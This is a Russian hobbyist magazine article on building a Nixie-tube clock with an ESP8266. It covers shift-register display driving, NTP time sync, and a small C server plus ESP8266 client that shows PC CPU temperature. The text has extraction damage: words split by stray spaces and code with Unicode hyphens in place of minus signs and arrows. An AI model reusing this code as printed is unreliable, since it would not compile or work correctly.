send595(ind[n]);
}
n++;
if (n > 3) n=0;
}
Лег ко видеть, что кажд ый раз, когд а знач ение i оказ ывае тся нечет ным,
в регистр отправ ляет ся байт, вклю чающий оче ред ной анод и выводящ ий
циф ру, тогд а как при чет ном знач ении анод вык лючае тся. Выводи мые данн ые
находят ся в масс иве ind, а вызов фун кции выпол няет ся с помощью тайм ера.
В результ ате инди кация зарабо тала, но остал ось перио дич ес кое легк ое мер‐
цание.
Ты мог обра тить вним ание, что в этом коде использ ует ся драйв ер из SDK,
а кро ме того, интерфейс SPI вмес то HSPI. Пос ледний момент дос тавил мне
мно го пробл ем. Так, при попыт ке использ овать Wi‐Fi сист ема даже отказ ыва‐
лась стар товать, тог да как без SPI Wi‐Fi работал. И у меня ушло мно го вре‐
мени, что бы понять прич ины это го. А все из‐за конк урен ции с флеш‐памятью!
В ито ге, ког да искал перв опри чину этих пробл ем, я и отказ ал ся от исполь‐
зования динами чес кой инди кации.
HV5622 И АНТИКРИЗИСНОЕ РЕШЕНИЕ
По иск в Сети показал, что в стат ическ ой индик ации использ ованию мик‐
росхем К155ИД1 совм ест но с 74LS41 (SN74141) есть альт ерн атива — высоко‐
воль тный 32‐бит ный сдви говый регистр HV5622. Кстат и, с использ ование м
этих сдви говых регис тров созд ан Divergence Meter Project. Это не часы,
но конст рук ция кра сивая, и опи сана она обстоя тель но.
В общем, в HV5622 хорошо все, кро ме дост упнос ти и цены. Тут меня
и посети ла идея: на выход 74HC595 мож но пост авить высоко воль тные ключ и
и таким образ ом получить набор ный высоков ольт ный сдви говый регистр.
Более того, вмес то один оч ных тран зисто ров разумн о использ овать сбор ку
ULN2004. Тем более что токо огран ичив ающие резист оры в нее уже встро‐
ены, а это сильн о упро щает дело.
Для пол ноцен ного исполь зования четырех ИН1 пот ребу ется комм утиро‐
вать сорок катодов (это 40 бит или пять сдвиг овых регис тров) и еще шесть
транз исторн ых сбо рок (сборк и ULN2004 содер жат семь ключ ей). Все го один‐
надцать корп усов. Казалось бы — мног о, но если при кинуть раз меры конс‐
трук ции, то одинн адцать SOIC16 занимаю т мест а мень ше, чем шесть DIP16.
INFO
Для работы собс твен но часов дост аточн о
и 30 бит, но в моем про екте реализ ован о пол‐
ноцен ное управле ние.
В ито ге окон чатель ная схе ма получил ась такая.
Фи наль ная схем а часов
Обр ати вним ание на стаб илит рон D1 на 47 В — он слу жит для защиты клю чей
от перенапр яжения. Впро чем, токи здесь небольш ие. Дру гой момент,
о котором сто ит упо мянуть, — это питание ESP12E. Модуль может пот реблять
замет ный ток, так что целесо образно питать его от импульс но го прео бра‐
зова теля и допол нительн о пос тавить элект рол ит для устой чивой работы.
Есл и говорить о прог рамм ной час ти инди кации, то она реали зует ся фун‐
кци ей indicate(char *data), прин има ющей на вход стро ку, что дос таточ но
удобн о. Получен ная строк а пре образ ует ся посимв ольн о и записы вает ся
в 64‐бит ную перемен ную temp, в которой в ито ге фор миру ется 40 бит, необ‐
ходимых для переда чи в регист ры. Так как у нас нет возм ожност и
передать 40 бит одним пакетом, то он переда ется в два захода — сна‐
чала 32 стар ших бита, затем 8 млад ших.
Та кое решение позв оля ет отправ ить данн ые мак симальн о быст ро, так
как основная задер жка про исхо дит при иниц иализ ации передач и. Поэтом у
передать 32 бита и 8 бит получае тся быст рее, чем пять раз по 8 бит. При этом
исполь зует ся ручн ое управле ние сиг налом CS, что делае т паузу межд у
посыл ками незамет ной для сдвиг овых регист ров.
#define CS_UP() gpio_output_set((1 << 5), 0, (1 << 5), 0)
#define CS_DOWN() gpio_output_set(0, (1 << 5), (1 << 5), 0)
void ICACHE_FLASH_ATTR indicate(char *data) {
uint64_t temp=0;
temp|=1<<(data[0]‐0x30);
temp<<=10;
temp|=1<<(data[1]‐0x30);
temp<<=10;
temp|=1<<(data[3]‐0x30);
temp<<=10;
temp|=1<<(data[4]‐0x30);
CS_DOWN();
spi_tx32(HSPI,(uint32_t)(temp>>8));
spi_tx8(HSPI,(uint8_t)(temp&0xff));
while(spi_busy(HSPI));
CS_UP();
}
Стат ическ ая инди кация пол ностью решила пробл ему с эффектом мерц ания.
Что же каса ется цены такого решения, то, как ни стран но,
пять 74HC595 и шесть ULN2004 все рав но дешев ле одной К155ИД1 (не
говоря уже о HV5622).
ПАРА СЛОВ ОБ ИНДИКАТОРАХ
В при веденн ой выше схем е часов исполь зован повыша ющий DC/DC‐пре‐
образ ова тель на мик росхе ме MC33063. Схе ма показал а себя очень хорошо,
работа ет ста бильн о и не грее тся. Единст венн ый нюанс — это дост аточн о
низ кая наг рузочн ая спос обн ость, окол о 5–10 мА.
Блок питания
Ес ли хочет ся получить больш ую мощн ость (напр имер, в слу чае некачес твен‐
ных индик ато ров), то след ует использ овать сетевой транс фор матор или двух‐
так тные повышаю щие прео бра зоват ели на мик росхе ме IR2153. Допол нитель‐
но могу рекомен довать хо рошую статью о питании инди катор ов.
WARNING
В анод ных цепях Nixie‐инди катор ов использ уетс я
высокое нап ряжение, опас ное для жиз ни и здо‐
ровья! Если у тебя нет опы та работы с высоко‐
воль тны ми схе мами, катего ричес ки не рекомен‐
дует ся повт орять все опис анн ое на прак тике.
По крайн ей мере без помощи более опыт ного
товарищ а.
Ну и разумее тся, сто ит расс ка зать о самих Nixie. В моем прое кте исполь‐
зованы дос таточн о дос тупные инди като ры ИН1. Они дешев ле друг их из‐за
неудобн ого цоколя (панельк а сто ит дороже ламп ы и не везд е есть в про‐
даже), и качес тво исполне ния обычн о отвра тительн о, но оно разл ичае тся
от пар тии к пар тии. У ИН1, как и у друг их Nixie, иногд а встреч ает ся непр ият ная
пробл ема, ког да циф ры свет ят ся лишь част ями.
Это может быть следст ви ем отравлен ия катодов. Впро чем, проб лема
реша емая, так как можн о прос то уве личить ток через индик атор, зачаст ую
это го дос таточ но. Кро ме того, полезн о подобр ать анодн ый резис тор для каж‐
дого индик ато ра отдельн о, что позв олит сбал ан сировать яркость и добить ся
равн омерн ого свеч ения всех цифр. Такж е рекоменд уют перио дич ес ки
зажигать все катоды индик ато ра по оче реди, что долж но позитивн о сказ ать ся
на сро ке служ бы издел ия. Я для такого исполь зую функ цию effect(),
которая вызыва ется раз в минуту. Не знаю, наск оль ко это на самом деле
эффектив но, но смот рится и прав да эффек тно.
void ICACHE_FLASH_ATTR effect() {
char str[5] = "00:00";
for (uint8_t i = 0 ; i < 10; i++) {
os_memset(str, 0x30 + i, 5);
indicate(str);
os_delay_us(50000);
}
}
Бо лее радикальн ый метод восс тан овл ения катодов Nixie закл ючае тся во вре‐
мен ном про пус кании повышенн ого тока через инди катор, но он мне не пот‐
ребовал ся.
Но что все‐таки делать с неудоб ным цоколем? Если для ИН12 панель ку
мож но изго товить из кон тактов разъе ма D‐Sub, то для ИН1 наибол ее прос‐
тым решени ем остае тся пай ка. Впро чем, использ ован ные в конс трук ции
инди като ры при желании (или необ ходимос ти) можн о заменить на любые
ана логичн ые.
→Продолжение статьи
GEEK ← НАЧАЛО СТАТЬИ
КРАСИВОЕ ВРЕМЯ
КАК Я СДЕЛАЛ «УМНЫЕ» ЧАСЫ НА ТРУБКАХ NIX‐
IE И ESP8266
WI-FI И NTP
Под клю чение ESP8266 к Wi‐Fi хорошо опи сано в раз ных источник ах, поэтом у
здесь прив еду лишь крат кий алгор итм. Сна чала указ ывае тся функ ция —
обра бот чик стат уса соеди нения. Затем созд ает ся струк тура парамет ров, ее
поля запол няют ся данн ыми, опред елен ными в файл е inc/user_config.h,
пос ле чего и ини циирует ся подк лю чение к точк е дост упа.
void ICACHE_FLASH_ATTR user_init(void) {
// Wi‐Fi connect
wifi_set_event_handler_cb(wifi_handle_event_cb);
if (wifi_set_opmode(STATION_MODE)) {
wifi_station_disconnect();
os_memcpy(wifi_config.ssid, SSID, sizeof(SSID));
os_memcpy(wifi_config.password, PASSWORD, sizeof(PASSWORD));
wifi_config.bssid_set = 0;
wifi_station_set_config(&wifi_config);
} else {
uart0_sendStr("ERROR: setting the station mode has failed.\r\n");
}
}
Дал ее уже функ ция‐обраб от чик отсле живае т ста тус соеди нения (да, к неб‐
локирую щем у прог раммир ова нию дос таточн о тяжело при вык нуть). Затем,
как толь ко ESP8266 получит IP‐адрес, про исхо дит обра щение к серв еру NTP.
Посл е это го зада ются адре са сер веров точ ного врем ени и часовой пояс.
void wifi_handle_event_cb(System_Event_t *evt) {
os_printf("event %x: ", evt ‐> event);
switch (evt ‐> event) {
...
case EVENT_STAMODE_GOT_IP:
...
// SNTP enable
ip_addr_t *addr = (ip_addr_t *)os_zalloc(sizeof(ip_addr_t));
// Set server 0 by domain name
sntp_setservername(0, "0.ru.pool.ntp.org");
// Set server 1 by domain name
sntp_setservername(1, "1.ru.pool.ntp.org");
// Set SAMT time zone
sntp_set_timezone(+3);
sntp_init();
os_free(addr);
// Set a timer to check SNTP timestamp
os_timer_disarm(&sntp_timer);
os_timer_setfn(&sntp_timer, (os_timer_func_t *)user_check_sntp
_stamp, NULL);
os_timer_arm(&sntp_timer, 1000, 0);
break;
}
}
За тем по сраб атыв анию тайм ера sntp_timer вызыва ется фун кция
ser_check_sntp_stamp(void *arg), которая про бует обрат ить ся к сер веру
точн ого вре мени. Если успешно — запуск ает ся локаль ный отсчет врем ени
и модуль отклю чает ся от точк и дос тупа. В случ ае неудач и функ ция вновь
запуск ает тай мер sntp_timer.
uint32_t ntp_stamp;
void ICACHE_FLASH_ATTR user_check_sntp_stamp(void *arg) {
ntp_stamp = sntp_get_current_timestamp();
if (ntp_stamp == 0) {
os_timer_arm(&sntp_timer, 1000, 0);
} else {
os_timer_disarm(&sntp_timer);
os_printf("sntp: %d, %s",ntp_stamp, sntp_get_real_time(ntp_stamp
));
os_printf("system time: %d\r\n",time_cor);
os_timer_setfn(&rtc_timer, (os_timer_func_t *)printf_local_time,
NULL);
os_timer_arm(&rtc_timer, 1000, 1);
wifi_station_disconnect(); // disconnect
}
}
ЭПОХА UNIX И ОТСЧЕТ ВРЕМЕНИ
Функ ция sntp_get_current_timestamp() возв ра щает врем я в фор мате
UNIX, то есть количес тво секунд с 1 январ я 1970 года. Но как из этог о целого
чис ла получае тся текущее вре мя и дата? Тут на сце ну выходит друг ая сист ема
отсче та, извест ная как юлиа нская дата. Это чис ло суток, про шедш их с полуд‐
ня понедельн ика, 1 янва ря 4713 до н. э. Клю чевой момент в том, что для юли‐
анско го форм ата сущест вую т готовые алго ритм ы перес чета в даты для боль‐
шинст ва извест ных кален дарей. Собст вен но, для этог о юли анскую дату
и при дума ли. Что бы получить дату и врем я по гри гори анско му кален дарю,
секун ды UNIX перево дят в юлиа нские сут ки, а уже пос ледние перес читыва ют
в тре буемое вре мя. Неочев идн о, да?
К счастью, функ ция перево да вре мени UNIX в дату уже вход ит в биб лиоте‐
ку SNTP в сост аве SDK, поэто му нам не прид ет ся изоб ретать велосип ед. Мы
вос польз уемс я sntp_get_real_time(long t), которая при нима ет на вход
вре мя UNIX и воз вращ ает указ атель на строк у вида 'Sat Feb 15 22:16:45 2020'.
Таким образ ом, дос таточ но инкрем ент ировать ntp_stamp раз в секун ду
и переда вать его функ ции sntp_get_real_time(ntp_stamp). Оста ется
добавить к получен ному ука зате лю сме щение по строк е, и мож но отправ лять
резуль тат фун кции как indicate(real_time_str + 11). Допол нитель ное
копиро вание стро ки нуж но для отлад оч ного вывода по UART.
void ICACHE_FLASH_ATTR printf_local_time(void *arg) {
char real_time_str[25];
ntp_stamp++;
os_memcpy(real_time_str,sntp_get_real_time(ntp_stamp), 24);
real_time_str[24] = 0;
if(!(ntp_stamp%60)) effect();
indicate(real_time_str + 11); // hrs, mins
os_printf("LOCAL: %d, %s\r\n", ntp_stamp, real_time_str);
os_printf("SYSTIME: %dus\r\n", system_get_time());
}
Теп ерь фун кцию будет вызывать ранее иниц иали зиро ван ный тайм ер rtc_‐
timer. Нес мотря на то что в даташит е внут ренний тайм ер не указ ан как пре‐
цизи онный, он довольн о точен. Ну а если точн ости вдруг ока жет ся недос‐
таточн о, всегд а можн о будет заново син хрон изи роватьс я с сер верами.
WWW
Исх одный код прое кта находит ся на GitHub.
ЧУТЬ-ЧУТЬ КОНСТРУКТИВА
Ком понент ы про екта расп оложен ы на двух плат ах из фольг ирован ного
гетинак са для допол нительн ого анту ража, каких‐то друг их при чин исполь‐
зовать гетинакс вмес то текс то лита на самом деле нет. Тем более по удобс тву
обра бот ки гетинакс зна чительн о уступ ает текс тол иту. На тыльн ой плат е смон‐
тирован ы сами часы и схем ы питания, тог да как на фрон тальн ой разм ещены
неоно вые инди като ры и их токоо гран ичи вающие резист оры.
Пла та часов
Плат а с индик ато рами
Плат ы соеди няют ся винт ами М3 и закр еплен ы на подс тав ке из орг стекл а.
В сбо ре
А ЧТО КРОМЕ ЧАСОВ?
Окей, с часами разобр ались, а что еще мож но здесь сде лать? Вот, нап ример,
выше мы делали запр ос к серв ерам точ ного вре мени и получи ли ответ.
На самом деле нич то не меша ет нам подн ять на локаль ной машине сер вер,
который при обра щении будет выдавать тем ператур у или заг рузку проц ес‐
сора. А на ESP8266 информа цию получит, соот ветст вен но, клие нт, задачей
которо го будет вывес ти данн ые на Nixie. Таким образ ом, у нас будет стиль ный
и необычн ый индик атор темп ерату ры для домашн его деск топ а (или ноут бука)!
Пиш ем серв ер
Под ходящий серв ер сегодн я мож но написать практ ичес ки на чем угод но, хоть
на том же Python. Но мне захотел ось (почему‐то) сде лать это на связ ке С и
Shell. То есть сам серв ер будет на С, а тем ператур у про цес сора получим
средст ва ми обо лочк и. Скрипт получил ся сов сем прост ой:
#!/bin/bash
sensors|grep CPU:|awk '{print $2}'|sed 's/+/00/'
Ти пичн ый вывод это го скрип та выг лядит как 0041.0°C.
Теп ерь перейд ем к сер веру. За осно ву взят один при мер из кни ги «Ха кинг:
искусст во эксп лой та». Сер вер слу шает порт 7890 и, когд а устан ав лива ется
вхо дящее соедин ение, запуск ает скрипт, преж де чем отпра вить вывод кли‐
енту. Главн ое — не забыть зак рыть соеди нение, посл е чего проц есс мож но
пов торить.
#define PORT 7890
int main(void) {
FILE * cmd;
char cmd_resp[80];
int n;
while(1) {
// Loop
sin_size = sizeof(struct sockaddr_in);
new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &
sin_size);
if(new_sockfd == ‐1) fatal("accepting connection");
printf("server: got connection from %s port %d\n", inet_ntoa(
client_addr.sin_addr), ntohs(client_addr.sin_port));
recv_length = recv(new_sockfd, &buffer, 1024, 0);
buffer[recv_length]=0;
printf("request: %s\r\n", buffer);
cmd = popen("./mega_script.sh", "r");
n = fread(cmd_resp, 1, 80, cmd);
cmd_resp[n]=0;
pclose(cmd);
printf("> %s\r\n", cmd_resp);
send(new_sockfd, cmd_resp, n, 0);
close(new_sockfd);
}
return 0;
}
Раб отос пособ ность сер вера всегд а мож но пров ерить с помощью netcat.
$echo "test" |nc localhost 7890
Клие нт
Кли ент ская часть на ESP8266 в целом похожа на прош ивк у часов с той лишь
раз ницей, что посл е подк лю чения к Wi‐Fi перио ди чес ки про исход ит обра‐
щение к сер веру и получен ная стро ка выводит ся на индик атор. Работа с TCP
немн ого слож нее обращ ения к сер верам точн ого врем ени, но и тут нет
ничего невоз можно го.
#define PORT (7890)
#define SERVER ("192.168.0.170")
struct espconn *con_str_adr;
void ICACHE_FLASH_ATTR user_init(void) {
...
struct espconn *conn = (struct espconn *)os_zalloc(sizeof(struct
espconn));
if (conn != NULL) {
conn ‐> type = ESPCONN_TCP;
conn ‐> state = ESPCONN_NONE;
conn ‐> proto.tcp = (esp_tcp *)os_zalloc(sizeof(esp_tcp));
conn ‐> proto.tcp ‐> local_port = espconn_port();
conn ‐> proto.tcp ‐> remote_port = PORT;
ip = ipaddr_addr(SERVER);
os_memcpy(conn ‐> proto.tcp ‐> remote_ip, &ip, sizeof(ip));
espconn_regist_connectcb(conn, tcp_connected);
espconn_regist_disconcb(conn, tcp_disconnected_cb);
espconn_regist_recvcb(conn, data_received_cb);
} else {
os_printf("TCP connect failed!\r\n");
}
con_str_adr = conn;
}
За тем нужн о опред елить обра бот чики событий. К счастью, в нашем слу чае
дос таточн о лишь двух — уста новк и соедин ения и при ема данн ых. Таким
образ ом, по сра баты ванию тай мера temp_tim (акти виру ется пос ле получе‐
ния IP‐адрес а) уста навл ивае тся соеди нение с серв ером, отправ ляет ся отла‐
доч ная информац ия, далее при нима ется ответ от серв ера, и соеди нение зак‐
рывае тся.
void ICACHE_FLASH_ATTR wifi_handle_event_cb(System_Event_t *evt) {
if (evt ‐> event == EVENT_STAMODE_GOT_IP) {
os_timer_disarm(&temp_tim);
os_timer_setfn(&temp_tim, (os_timer_func_t *)send_data, NULL);
os_timer_arm(&temp_tim, 1000, 1);
}
}
void ICACHE_FLASH_ATTR send_data() {
espconn_connect(con_str_adr);
}
void ICACHE_FLASH_ATTR tcp_connected(void *arg) {
static uint32_t count = 0;
struct espconn *conn = arg;
os_sprintf(buffer, "MSG FROM ESP %d\n", count++);
os_printf("Sending: %s", buffer);
espconn_sent(conn, buffer, os_strlen(buffer));
}
void ICACHE_FLASH_ATTR data_received_cb(void *arg, char *pdata,
unsigned short len) {
struct espconn *conn = (struct espconn *)arg;
os_printf( "recive val: %s", pdata);
espconn_disconnect(conn);
indicate2(pdata);
}
Но вая функ ция индик ации лишь нем ного отлич ает ся от исполь зован ной
ранее. Она так же прин има ет на вход стро ку, но теперь не про пус кает вто рой
сим вол, где у часов был разд елитель :.
void ICACHE_FLASH_ATTR indicate2(char *data) {
uint64_t temp = 0;
temp |= 1 << (data[0] ‐ 0x30);
temp <<= 10;
temp |= 1 << (data[1] ‐ 0x30);
temp <<= 10;
temp |= 1 << (data[2] ‐ 0x30);
temp <<= 10;
temp |= 1 << (data[3] ‐ 0x30);
CS_DOWN();
spi_tx32(HSPI, (uint32_t)(temp >> 8));
spi_tx8(HSPI, (uint8_t)(temp & 0xFF));
while(spi_busy(HSPI));
CS_UP();
}
И даже более
Что нас чет друг их парамет ров компь ютер а? Средст ва ми Shell загр узку про‐
цес сора мож но получить похожим одност рочн ым скрип том.
vmstat|sed ‐n "3p"|awk 'BEGIN{FS=" "}{print 100‐$15"%"}'
Вмест о заг рузки ЦП ты можешь выводить любую актуа льн ую информа цию:
курс руб ля, це ны на греч у, количест во дней до конц а каран тина или часов
до зарп лат ы... Да что угод но, лишь бы хва тило разр ядност и инди катор а. :)